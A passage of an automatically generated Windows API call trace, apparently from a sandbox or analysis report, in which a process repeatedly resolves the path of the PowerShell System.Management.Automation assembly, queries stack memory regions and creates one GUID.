lpFilePart=0x0) returned 0x74 [0075.632] GetLastError () returned 0x0 [0075.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.633] GetLastError () returned 0x0 [0075.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.633] GetLastError () returned 0x0 [0075.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.633] GetLastError () returned 0x0 [0075.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.633] GetLastError () returned 0x0 [0075.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.633] GetLastError () returned 0x0 [0075.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.633] GetLastError () returned 0x0 [0075.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.633] GetLastError () returned 0x0 [0075.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.633] GetLastError () returned 0x0 [0075.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.634] GetLastError () returned 0x0 [0075.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.634] GetLastError () returned 0x0 [0075.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.634] GetLastError () returned 0x0 [0075.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.634] GetLastError () returned 0x0 [0075.634] VirtualQuery (in: lpAddress=0x29d364, lpBuffer=0x29e364, dwLength=0x1c | out: lpBuffer=0x29e364*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.634] GetLastError () returned 0x0 [0075.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.634] GetLastError () returned 0x0 [0075.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.634] GetLastError () returned 0x0 [0075.634] VirtualQuery (in: lpAddress=0x29d364, lpBuffer=0x29e364, dwLength=0x1c | out: lpBuffer=0x29e364*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.635] GetLastError () returned 0x0 [0075.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.635] GetLastError () returned 0x0 [0075.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.635] GetLastError () returned 0x0 [0075.635] VirtualQuery (in: lpAddress=0x29cf94, lpBuffer=0x29df94, dwLength=0x1c | out: lpBuffer=0x29df94*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.635] VirtualQuery (in: lpAddress=0x29cfd0, lpBuffer=0x29dfd0, dwLength=0x1c | out: lpBuffer=0x29dfd0*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.636] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.636] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.636] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.636] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.637] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.637] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.637] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.637] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.637] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.637] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.638] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.638] VirtualQuery (in: lpAddress=0x29d13c, lpBuffer=0x29e13c, dwLength=0x1c | out: lpBuffer=0x29e13c*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.638] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.638] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.639] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.639] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.639] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xa4fd7063, Data2=0xd7aa, Data3=0x4f60, Data4=([0]=0xba, [1]=0xd7, [2]=0xd5, [3]=0xe6, [4]=0xfc, [5]=0x1e, [6]=0xba, [7]=0xdd))) returned 0x0 [0075.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.639] GetLastError () returned 0x0 [0075.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.639] GetLastError () returned 0x0 [0075.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.639] GetLastError () returned 0x0 [0075.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.639] GetLastError () returned 0x0 [0075.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.640] GetLastError () returned 0x0 [0075.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.640] GetLastError () returned 0x0 [0075.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.640] GetLastError () returned 0x0 [0075.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.640] GetLastError () returned 0x0 [0075.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.640] GetLastError () returned 0x0 [0075.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.640] GetLastError () returned 0x0 [0075.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.640] GetLastError () returned 0x0 [0075.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.640] GetLastError () returned 0x0 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.641] GetLastError () returned 0x0 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.641] GetLastError () returned 0x0 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.641] GetLastError () returned 0x0 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.641] GetLastError () returned 0x0 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.641] GetLastError () returned 0x0 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.641] GetLastError () returned 0x0 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.641] GetLastError () returned 0x0 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.641] GetLastError () returned 0x0 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.641] GetLastError () returned 0x0 [0075.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.642] GetLastError () returned 0x0 [0075.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.642] GetLastError () returned 0x0 [0075.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.642] GetLastError () returned 0x0 [0075.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.642] GetLastError () returned 0x0 [0075.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.642] GetLastError () returned 0x0 [0075.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.642] GetLastError () returned 0x0 [0075.642] VirtualQuery (in: lpAddress=0x29cf94, lpBuffer=0x29df94, dwLength=0x1c | out: lpBuffer=0x29df94*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.642] VirtualQuery (in: lpAddress=0x29cfd0, lpBuffer=0x29dfd0, dwLength=0x1c | out: lpBuffer=0x29dfd0*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.643] GetLastError () returned 0x0 [0075.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd34, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.643] GetLastError () returned 0x0 [0075.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd34, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.643] GetLastError () returned 0x0 [0075.643] VirtualQuery (in: lpAddress=0x29d09c, lpBuffer=0x29e09c, dwLength=0x1c | out: 